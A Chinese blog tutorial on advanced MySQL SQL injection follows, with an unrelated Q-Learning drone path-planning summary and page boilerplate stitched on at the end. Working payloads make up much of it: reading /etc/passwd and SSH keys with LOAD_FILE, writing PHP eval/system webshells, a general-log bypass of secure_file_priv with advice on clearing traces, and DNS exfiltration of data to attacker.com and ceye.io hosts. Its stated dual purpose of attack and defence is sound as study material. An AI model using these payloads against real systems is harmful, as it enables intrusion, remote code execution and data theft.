SQL注入高阶利用:从权限判定到文件读写与DNS带外攻击

1. 项目概述:从基础注入到权限突破的攻防全景

在Web安全领域,SQL注入始终是那个“古老”却又历久弥新的核心议题。很多刚入门的朋友,通过DVWA、Pikachu这类靶场,学会了判断数字型、字符型注入,掌握了 union select 爆库、爆表、爆字段的常规流程,甚至能用sqlmap一把梭哈拿到后台数据。这固然是重要的第一步,但实战中的SQL注入远不止于此。当你的注入点返回了数据库版本是 5.5.53 ,或是 root@localhost 这样的用户信息时,一个更广阔、也更危险的世界才刚拉开帷幕——你面对的可能是一个拥有数据库服务器高权限的账户。

这次,我们不谈基础的 ‘ or 1=1-- ,而是聚焦于那些标志着“权限升级”的关键节点。核心在于一个权限判定:当你发现当前数据库用户拥有 FILE_PRIV SUPER 等高级权限时,攻击面将从单一的数据库数据窃取,爆炸性地扩展到服务器文件系统读写、跨数据库查询乃至通过DNS协议进行带外数据外传。这就像你原本只是在房间里翻箱倒柜,突然发现手里握着的是一把能打开整栋大楼所有房间,甚至能控制部分安保系统的万能钥匙。我们将系统性地拆解“高权限判定”后的攻击链:如何确认权限、如何利用 secure_file_priv 开关进行文件读写、如何执行跨库查询以扩大战果,以及如何利用DNS协议在严格出网限制下实现数据外带。每一个环节都对应着防守方不同的配置疏漏,理解这些,无论是作为攻击方进行深度测试,还是作为防守方加固系统,都至关重要。

2. 核心思路:权限判定是攻击链的转折点

整个高阶SQL注入攻击流程可以看作一个清晰的决策树,其根节点就是 数据库当前连接用户的权限等级 。这个判定直接决定了后续所有攻击路径的可行性与危害程度。

2.1 权限判定的核心逻辑与信息收集

为什么权限如此重要?在MySQL、MariaDB等数据库中,用户权限是分层的。一个仅用于连接特定应用数据库的用户(如 webapp@‘%’ ),其权限可能被严格限制在 SELECT INSERT UPDATE DELETE 等基本DML操作上。而像 root 或某些管理用户,则可能拥有 ALL PRIVILEGES ,其中就包含对我们攻击至关重要的 FILE 权限(允许执行 LOAD DATA INFILE SELECT ... INTO OUTFILE 操作)和 SUPER 权限(用于管理操作)。

如何进行判定? 这不仅仅是猜,而是通过注入点执行特定的信息查询语句。

  1. 查询当前用户与主机:

    union select user(), current_user(), @@hostname-- 
    

    user() 是尝试连接时使用的用户名, current_user() 是实际通过授权表匹配到的用户名。如果返回 root@localhost 或包含 root ,这是一个强烈的信号。但注意,用户名不是唯一标准,关键看权限。

  2. 查询用户权限(关键步骤):

    union select grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE grantee LIKE CONCAT(‘'’, user(), ‘'’)
    

    更直接的方式是查询 information_schema 库。但更常用的方法是利用 SELECT 查询权限表或使用函数:

    union select super_priv, file_priv FROM mysql.user WHERE user=SUBSTRING_INDEX(user(),‘@’,1) AND host=SUBSTRING_INDEX(user(),‘@’,-1) LIMIT 1-- 
    

    如果无法直接查询 mysql.user (需要权限),可以尝试使用 LOAD_FILE() 函数读取 /etc/passwd 等系统文件来间接测试 FILE 权限,或者尝试执行一个 SELECT ... INTO OUTFILE 语句到临时目录。

  3. 查询数据库版本与安全配置:

    union select @@version, @@version_compile_os, @@secure_file_priv-- 
    

    @@version :版本号。早期版本(如5.5以下)默认配置可能更宽松。 @@secure_file_priv :这是文件读写操作的“开关”和“白名单”,它的值直接决定了 INTO OUTFILE LOAD_FILE() 能访问的路径。值为 NULL 表示禁止文件操作;值为具体路径(如 /var/lib/mysql-files/ )表示只允许在该目录下操作;值为空字符串 ‘’ 则表示不限制路径(危险配置)。

实操心得: 在真实环境中,直接爆出 root 用户的情况在互联网业务中已较少见,但“高权限”不一定是 root 。任何被授予了 FILE 权限的用户,对我们而言就是“高权限”用户。此外,在联合查询列数不够时,可以将 user() version() database() 等函数信息与其他数据一同查询出来,作为初步判断。

2.2 攻击路径决策树

基于权限判定的结果,攻击路径开始分叉:

  • 低权限(仅DML权限) :攻击止步于对当前数据库(甚至只是特定表)的增删改查。主要目标是获取管理员密码哈希、敏感业务数据等。这就是大部分靶场练习的阶段。
  • 高权限(拥有FILE权限)
    • 检查 @@secure_file_priv
      • 如果为 NULL :文件读写路径被彻底封死。需要尝试 SecurePriv开关绕过 (后文详述)。
      • 如果为具体路径(如 /tmp/ ):只能在指定目录进行文件读写。需要结合目录权限和Web目录位置,尝试写WebShell。
      • 如果为空 ‘’ :恭喜,进入了“为所欲为”阶段。可以直接向Web目录写文件,或读取服务器上的任意文件(如配置文件、SSH密钥、源码)。
    • 无论文件读写是否成功,均可进行跨库查询 :利用 database() 函数和 information_schema 库,查询其他数据库的表结构,扩大数据窃取范围。
  • 需要数据外带且网络受限 :当注入点不回显(盲注),或网络策略限制直接连接外网时, DNS带外(DNS OOB) 技术成为数据外泄的唯一通道。这通常需要 FILE 权限(或特定函数如 LOAD_FILE 能触发DNS解析)以及数据库服务器能发出DNS请求。

理解这个决策树,你就能在渗透测试中快速定位当前注入点的价值上限,并选择最有效的后续利用方式。

3. 关键技术点深度解析与实操要点

3.1 跨库查询:扩大战果的信息收割

在拥有高权限后,你不再局限于当前应用数据库( database() 返回的库)。 information_schema 库是MySQL的信息数据库,它保存了关于所有其他数据库、表、列、权限等的元数据。高权限用户通常可以访问它。

利用方式:

  1. 枚举所有数据库:

    union select schema_name, ‘ ’ from information_schema.schemata-- 
    

    这会列出服务器上所有的数据库名,可能包含 mysql (系统权限库)、 information_schema performance_schema ,以及其他的业务数据库,比如 hr_db finance_db 等。

  2. 指定数据库枚举所有表:

    union select table_name, table_schema from information_schema.tables where table_schema=‘target_db’-- 
    

    target_db 替换为你感兴趣的其他数据库名。

  3. 指定数据表枚举所有字段:

    union select column_name, ‘ ’ from information_schema.columns where table_schema=‘target_db’ and table_name=‘users’-- 
    
  4. 直接跨库查询数据: 这是最直接的一步。知道了库名、表名、列名后,可以直接查询。

    union select id, username from hr_db.employees-- 
    

    或者,如果联合查询的列数或类型不匹配,可以将其作为子查询或拼接字符串输出。

    union select null, concat(‘[hr_db]’, userid, ‘:’, password) from hr_db.sys_user-- 
    

注意事项:

  • 权限边界 :即使能访问 information_schema ,查询其他库的具体数据仍需要对该库有 SELECT 权限。但高权限用户(如 root )或配置不当的数据库,经常存在权限泛化问题。
  • 信息过载 information_schema.tables 表可能非常庞大,在盲注场景下枚举效率极低。需要结合对业务的理解(如数据库名包含 admin backup config 等关键词)进行针对性枚举。

3.2 文件读写:从数据库到操作系统的跃迁

这是高权限SQL注入最具威力的能力之一,直接导致了GetShell。

1. 文件读取(LOAD_FILE):

union select null, load_file(‘/etc/passwd’)-- 

LOAD_FILE() 函数读取服务器文件系统上的文件,并以文本形式返回。常用于读取:

  • 系统配置文件: /etc/passwd , /etc/shadow (需root), /etc/hosts
  • Web应用配置文件: /var/www/html/config.php , ../config/database.ini
  • 数据库配置文件: /etc/my.cnf , ~/.my.cnf
  • 源码文件:分析漏洞。
  • SSH私钥: /home/user/.ssh/id_rsa

2. 文件写入(INTO OUTFILE/DUMPFILE):

union select ‘<?php @eval($_POST[cmd]);?>’, ‘ ’ into outfile ‘/var/www/html/shell.php’-- 

INTO OUTFILE 将查询结果写入文件。这是写入WebShell的经典方法。

  • DUMPFILE INTO OUTFILE 类似,但更适合写入二进制数据,且每次只写一行,对于写WebShell,两者通常可互换。

关键障碍: secure_file_priv 这个系统变量是文件读写的守门员。它的值在MySQL服务启动时确定。

  • 绕过思路1:利用合法目录 。如果值为 /var/lib/mysql-files/ ,尝试在该目录下写文件。虽然可能无法直接Web访问,但可以尝试写一个JSP/PHP脚本,然后利用数据库的“用户自定义函数”(UDF)提权等后续链式攻击,或者通过读取该文件内容到Web回显中来间接获取。
  • 绕过思路2:修改my.cnf并重启(需系统权限) 。这通常不现实。
  • 绕过思路3:利用Web目录的符号链接(Symlink) 。在某些旧版本或特定配置下,如果Web目录是 /var/www/html ,而MySQL的数据目录( datadir )下可能存在符号链接。但这需要非常特殊的配置。
  • 绕过思路4:通过日志文件写Shell(经典方法) 。这才是真正的“SecurePriv开关绕过”核心。

3.3 SecurePriv开关绕过:利用日志文件实现文件写入

secure_file_priv NULL 时, INTO OUTFILE LOAD_FILE() 函数都会被禁止。但我们可以通过篡改MySQL的日志文件路径和内容,间接实现文件写入。

原理 :MySQL可以生成多种日志,如通用查询日志(General Log)、慢查询日志(Slow Query Log)。这些日志会记录所有或部分SQL语句,并写入文件。如果我们能控制日志文件的保存路径和文件名,并将其指向Web目录,那么我们执行的SQL语句(包含WebShell代码)就会被记录到该文件,从而形成一个WebShell。

具体步骤:

  1. 查看日志状态与路径 (需要 SUPER FILE 权限):

    union select @@global.general_log, @@global.general_log_file, @@global.slow_query_log, @@global.slow_query_log_file-- 
    

    general_log OFF 表示未开启。 general_log_file 是日志当前路径。

  2. 开启通用查询日志并重定向路径

    union select null, ‘ ’ into outfile ‘/var/www/html/test.txt’-- 
    

    这一步会失败(因为 secure_file_priv=NULL ),但我们需要用它来执行设置命令。实际上,需要通过堆叠查询(Stacked Queries)或某些特定场景(如PHP的 mysqli_multi_query )来执行多条SQL语句。 假设存在堆叠查询注入

    ‘; SET global general_log = on; SET global general_log_file = ‘/var/www/html/shell.php’;-- 
    

    这条语句开启了通用日志,并将日志文件路径设置为Web目录下的 shell.php

  3. 执行携带WebShell代码的查询

    ‘; SELECT ‘<?php phpinfo();?>’;-- 
    

    由于通用日志已开启,这条 SELECT 语句会被完整地记录到 /var/www/html/shell.php 文件中。日志文件通常会在每条记录前加上时间戳和连接信息,导致PHP代码被注释或破坏。因此,我们需要一个能忽略前面内容的WebShell。 更常用的方法是:

    ‘; SELECT “<?php system($_GET[‘c’]);?>”;-- 
    

    但日志记录可能是:

    /usr/sbin/mysqld, Version: 5.7.40 (MySQL Community Server). started with:
    Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
    Time                 Id Command    Argument
    2024-01-01T10:00:00.000000Z     1 Query    SELECT “<?php system($_GET[‘c’]);?>”
    

    前面的注释会导致PHP无法执行。

  4. 写入纯净WebShell的技巧 : 利用 SELECT “\n\n\n<?php eval($_POST[‘a’]);?>\n” ,通过多个换行符 \n ,使PHP代码在日志中“下沉”,避开文件开头的注释行。但这并不总是可靠。 更稳健的方法是关闭日志的标头记录 (如果版本和配置允许):

    ‘; SET global log_output = ‘file’; SET global general_log = on; SET global general_log_file = ‘/var/www/html/shell.php’;-- 
    

    然后执行:

    ‘; SELECT “”;-- 
    

    先写入一个空查询,然后:

    ‘; SELECT “<?php eval($_POST[‘cmd’]);?>”;-- 
    

    有时需要多次尝试,并查看生成的文件内容进行调整。

  5. 关闭日志(清理痕迹)

    ‘; SET global general_log = off;-- 
    

注意事项:

  • 依赖堆叠查询 :该方法严重依赖应用层(如PHP+ mysqli_multi_query )支持堆叠查询。大多数情况下,为了安全,应用程序或ORM框架不会使用能执行多语句的函数。
  • 需要 SUPER 权限 SET global 命令通常需要 SUPER 权限。
  • 文件权限 :MySQL进程(通常是 mysql 用户)必须对目标Web目录有写权限。
  • 日志格式 :不同MySQL版本和配置的日志格式不同,需要根据实际情况调整Payload。

3.4 DNS带外(DNS OOB)数据外传:突破无回显与网络限制

在盲注中,我们通过布尔逻辑或时间延迟来一点点“挤”出数据,效率低下。如果服务器能发起DNS请求,我们就可以利用DNS查询将数据直接带出。

原理 :构造一个特殊的域名,其中子域名部分包含我们想窃取的数据(如 SELECT user() 的结果)。当数据库执行一个能触发DNS解析的函数(如 LOAD_FILE() )时,它会向这个域名发起DNS查询。我们只需要在自己的DNS服务器上监听,就能从查询请求中看到数据。

常用函数

  • LOAD_FILE() LOAD_FILE(‘\\\\’ + (SELECT user()) + ‘.attacker.com\\foo.txt’) 。在Windows下, \\hostname\path 会触发SMB/NetBIOS名称解析,其中包含DNS查询。在Linux下,对UNC路径的支持有限。
  • UNC路径 (Windows特性):这是更常用的方式。利用 SELECT ... INTO OUTFILE 写入一个UNC路径。
    union select null, ‘ ’ into outfile ‘\\\\’(SELECT hex(user()))‘.attacker.com\\share\\test.txt’-- 
    
    INTO OUTFILE secure_file_priv 限制。
  • 利用 sys_exec() 等UDF :如果已通过文件上传植入恶意UDF,可以执行系统命令如 nslookup ,但这已超出纯SQL注入范畴。
  • MySQL特定函数 :在MariaDB或某些版本的MySQL中, LOAD DATA INFILE 也能触发DNS解析。

最实用的场景:无回显盲注的数据快速外泄 假设我们有一个基于时间的盲注点,想获取 database() 的值。

  1. 将数据编码(如Hex或Base32),避免特殊字符。
    ‘ AND (SELECT LOAD_FILE(CONCAT(‘\\\\’,(SELECT HEX(database())),‘.’,‘xxxxxx.ceye.io\\abc‘)))-- 
    
    xxxxxx.ceye.io 是你控制的域名(如使用公开的DNSLog平台 ceye.io 或自建)。
  2. 执行注入。如果当前用户有 FILE 权限( LOAD_FILE 成功执行),数据库服务器会尝试解析 <hex_database>.xxxxxx.ceye.io 这个域名。
  3. 在DNSLog平台查看记录,收到一条对 <hex_database>.xxxxxx.ceye.io 的DNS查询记录,从中解码即可得到数据库名。

注意事项:

  • 依赖 FILE 权限 LOAD_FILE() 需要 FILE 权限。
  • 出网DNS协议 :数据库服务器必须能访问外网DNS(通常是UDP 53端口)。很多内网服务器允许DNS出站,因为这是基础服务。
  • 域名长度限制 :DNS标签(子域名各部分)最长63字符,总域名长度最长253字符。需要窃取长数据(如表内容)时,需分片传输。
  • 编码与过滤 :数据中不能有点号( . )等DNS非法字符,需要进行Hex编码。同时,注意应用层对反斜杠( \ )的过滤。

4. 完整攻击链实战推演与问题排查

让我们模拟一个相对理想的实战场景,串联上述所有技术点。

场景设定 :一个Web应用存在Union注入点,当前数据库用户为 root@localhost secure_file_priv 为空字符串 ‘’ ,Web根目录为 /var/www/html/ ,服务器可出网DNS。

攻击链推演:

  1. 信息收集与权限确认

    ‘ union select user(), version(), @@secure_file_priv, database()-- 
    

    回显: root@localhost | 5.7.40 | | webapp_db 。确认高权限、无文件路径限制。

  2. 跨库查询,扩大信息范围

    ‘ union select schema_name, ‘ ’ from information_schema.schemata-- 
    

    发现额外数据库: hr_database , internal_config

  3. 读取敏感文件

    ‘ union select null, load_file(‘/var/www/html/config.php’)-- 
    

    获取数据库连接密码、API密钥等。

  4. 写入WebShell

    ‘ union select ‘<?php system($_GET[“cmd”]);?>’, ‘ ’ into outfile ‘/var/www/html/cmd.php’-- 
    

    访问 http://target/cmd.php?cmd=id ,确认命令执行成功,获取Web服务权限。

  5. (备选)DNS带外快速获取数据 :如果需要从另一个无回显的注入点快速获取 internal_config 库的某个表内容,且已知有 FILE 权限。

    ‘; SELECT LOAD_FILE(CONCAT(‘\\\\’, (SELECT HEX(column_name) FROM information_schema.columns WHERE table_schema=‘internal_config’ LIMIT 1), ‘.dnslog.attacker.com\\test‘))-- 
    

    在DNSLog平台接收并解码数据。

常见问题与排查技巧实录:

  • 问题1: INTO OUTFILE 失败,报错 Can‘t create/write to file

    • 排查 :首先确认 @@secure_file_priv 值。如果为空,检查目标目录(如 /var/www/html/ )的权限,确保MySQL进程用户(如 mysql )有写权限。 ls -ld /var/www/html/ 查看。可能还需要考虑SELinux/AppArmor等安全模块的限制。
  • 问题2: LOAD_FILE() 返回 NULL

    • 排查
      1. 检查文件路径是否正确,是否有读取权限。
      2. 检查 secure_file_priv 是否限制了路径。
      3. 检查文件大小是否超过 max_allowed_packet
      4. 尝试使用 /etc/passwd 等绝对路径的已知文件测试,如果依然失败,可能是 FILE 权限未生效或配置问题。
  • 问题3:DNS带外没有收到请求。

    • 排查
      1. 确认 LOAD_FILE() 函数是否执行成功(可通过时间盲注判断: ‘ AND IF((SELECT LOAD_FILE(...)), SLEEP(5), 0)-- )。
      2. 确认DNS域名拼写正确,且没有特殊字符。使用Hex编码最稳妥。
      3. 确认数据库服务器网络能解析外网DNS(尝试让数据库执行 SELECT ‘a‘ INTO OUTFILE ‘\\\\8.8.8.8\\a‘ ,虽然语法可能报错,但看服务器日志是否有网络连接尝试)。
      4. 确认你的DNS服务器(或DNSLog平台)正常工作,并且防火墙没有屏蔽入站DNS查询。
  • 问题4:通过日志写WebShell后,访问返回500错误或显示源码。

    • 排查 :查看生成的 shell.php 文件内容。大概率是日志文件头部的注释(如 Time Id Command Argument )破坏了PHP语法。解决方法是写入一个能忽略前面垃圾代码的WebShell,例如在开头加上大量换行符 \n\n\n\n\n<?php ... ?> ,或者尝试写入 <script language=“php”>system($_GET[‘c’]);</script> (如果PHP支持该古老标签)。最根本的方法是寻找一个能写入纯净内容的替代方法。

个人实操心得: 高权限注入的利用成功率,在实战中远低于靶场。最大的障碍往往是 secure_file_priv 被设置为 NULL 且无法绕过,以及Web目录MySQL用户无写权限。因此,信息收集阶段准确判断 @@secure_file_priv 和目录权限至关重要。不要一上来就尝试写Shell,先通过 LOAD_FILE 读取 /proc/self/cwd/index.php (获取当前工作目录)或 /etc/passwd 来确认文件读取能力。DNS带外是盲注神器,但需要环境支持,在内部系统渗透测试中,如果目标网络分区严格,DNS带外可能也不通。因此,这些高级技术是工具箱里的特种工具,需要根据现场情况灵活选用,而扎实的布尔盲注、时间盲注基本功才是那个任何时候都能掏出来的“瑞士军刀”。真正的渗透是耐心和细致的结合,在看似绝望的 NULL secure_file_priv 背后,也许就藏着一条通过日志或慢查询日志的迂回路径。

内容概要:本文系统研究了基于动态三维环境下的Q-Learning算法在无人机自主避障路径规划中的应用,依托Matlab代码实现,深入剖析了强化学习在复杂、时变空间中实现智能决策的机制。研究构建了三维网格化状态空间模型,设计了合理的动作集合奖励函数,充分考虑静态动态障碍物的存在,使无人机能够通过环境持续交互,自主学习规避障碍并趋近目标的最优策略。文章不仅展示了Q-Learning算法在路径规划中的具体实现流程,还涵盖了状态表示、策略迭代、收敛性分析等关键环节,并通过仿真实验验证了算法的有效性鲁棒性,为智能体在动态环境中的自主导航提供了理论依据和技术参考。; 适合人群:具备人工智能、自动化、计算机科学或机器人学等相关专业背景,熟悉Matlab编程语言和基本的强化学习概念,从事无人机控制、智能导航、路径规划算法研究的研究生、科研人员及工程技术人员。; 使用场景及目标:①应用于城市峡谷、灾害现场等复杂动态三维场景中无人机的自主飞行紧急避障;②作为强化学习解决实际路径规划问题的教学实例,帮助理解Q-Learning的核心思想、状态-动作值函数更新过程及探索-利用权衡策略;③为后续研究更先进的深度强化学习算法(如DQN、PPO)在无人机控制中的应用奠定基础和提供对比基准。; 阅读建议:建议读者结合所提供的Matlab代码进行动手实践,通过调整学习率、折扣因子、探索率(ε-greedy)等超参数,观察其对算法收敛速度和最终路径规划质量的影响,并尝试修改环境复杂度(如增加障碍物密度或动态性)以评估算法的泛化能力。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值